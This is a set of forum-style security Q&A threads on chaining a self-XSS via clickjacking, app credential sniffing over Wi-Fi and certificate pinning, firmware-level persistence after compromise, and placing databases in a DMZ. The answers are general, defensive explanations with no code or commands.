Can this self-XSS be extended? I have a textbox which makes a call to an API everytime the text has changed. The API returns JSON but executes any Javascript within the JSON returned (tested with Alert()). This textbox value is not persistent so saving does not result in a stored XSS. If the Javascript is pasted into the textbox, it's automatically encoded and rendered safely, it's only vulnerable if the script is typed in.

Other than a phishing attack where the user types in a script into the textbox, are there any other attacks that can be performed from this point? Can this self-XSS be chained to another attack or is it essentially only valid  for phishing?

It is not normal or acceptable behavior  for UI elements to execute user-supplied JavaScript.  Although these bugs maybe difficult to exploit, they need to be patched because running malicious JavaScript means full account takeover.

UI Redress (aka clickjacking) can be used to populate the textbox.  This technique was used to exploit self-inflicted XSS on google.  The X-Frame-Options header element can be used to mitigate this attack.

Self-inflected javascript worms  have spread on Facebook.  Bad guys are always trying to convince the user into doing bad things.  Some users are more than happy to shoot themselves in the foot, the attacker just needs to ask. Facebook has shown us that asking the user to copy/pasting malicious text is enough for a worm to spread.

tldr; fix your damn bugs!


Can smartphone app be hacked by wifi? We all know that it is possible to spy on other people in the same wifi network, even if it is difficult.

What about apps, like Facebook app for Android? Is it similar to an https website so it is encrypted? For example, if I put my password on the Facebook app, can someone on my wifi network look at it?

It depends on the app, of course, but most (citation needed) major apps use HTTPS.

Facebook talks about this specifically:

  ... virtually all traffic to www.facebook.com and 80% of traffic to
  m.facebook.com uses a secure connection. Our native apps for Android
  and iOS have long used https as well.

It is still possible that the TLS connection could be broken by MITM, but there is a process called Certificate Pinning that helps to prevent that. Fewer apps have this turned on. In the quote from Facebook above, which was in 2013, they said:

  We're actively testing pinning in Facebook mobile apps and plan to use
  it in browsers as well.

So, is it possible that your app credentials could be sniffed from the network? Yes. But many apps use TLS and Certificate Pinning to make this unlikely. You need to investigate each app to determine what they use.


Theoretical - Is it possible for an attacker to leave an irreversible software artifact? Assumimg that...

the target is some server (> 2010) that could be running any OS
the attacker has gained access to everything remotely, (with maybe some physical access as well)

Is it possible for an attacker, through only software means, to leave an irreversible software artifact on the target? If so, what is the nature of the target and the greatest extent of the damage?

Examples of an irreversible software artifact: something that can't be removed with system restore or formatting hard drive (e.g. maybe a BIOS change?)

If we are talking about any theoretical possibilities (outside of basic, that would be purged during BIOS and OS wipe):
 - Attacker can change firmware of the hardware. Most lucrative would be network adapter and storage device, but others might be targeted as well.

Cannot think of anything else, if we are restricting ourselves to software artifacts only. If we extend this to hardware (we assume attacker got physical access to the device, right?), possibilities are limitless. It all just depends on our paranoia (i.e. is it government/military?).


Place database in the DMZ and in the internal network Is it sufficient to have single database inside the DMZ which the webservers in the DMZ receives their data from.

Or if setup with two databases is a better solution, that would be to have a database in the internal network which the database in the DMZ receives from?

Your question is a little vague, so I would advise that you consider what threat models you're trying to protect yourselves from.

The first thing to do is to define that a DMZ is a region in your network which is considered wholly or partially untrusted, because it is attached to the Internet (or some other untrusted and hostile network). The DMZ defines a security boundary between that infrastructure and your internal, more trusted environment. That security boundary is usually enforced by a firewall or similar network controls. You might be saying "yeah, I know this", but I've seen people completely misunderstanding the point of a DMZ and I want to make sure we're on solid ground.

My understanding is that you're concerned about keeping your database in the DMZ along with the web server, because you've got internal equipment from your trusted network connecting into that database. This is a common configuration, and many people do indeed get by just fine by allowing connections from the trusted network to the database in the DMZ.

However, one thing to consider is the authentication model. If you're authenticating to an MSSQL server in the DMZ via AD, and your domain controller isn't in your DMZ (I hope it's not!) you'll need to allow that AD traffic through the firewall. This isn't a good idea, really. So, utilising database replication to sync data through the DMZ boundary so that the inner database can be authenticated to via AD, while the outer (i.e. DMZ-based) database doesn't need to speak to the DC, is actually a pretty good solution.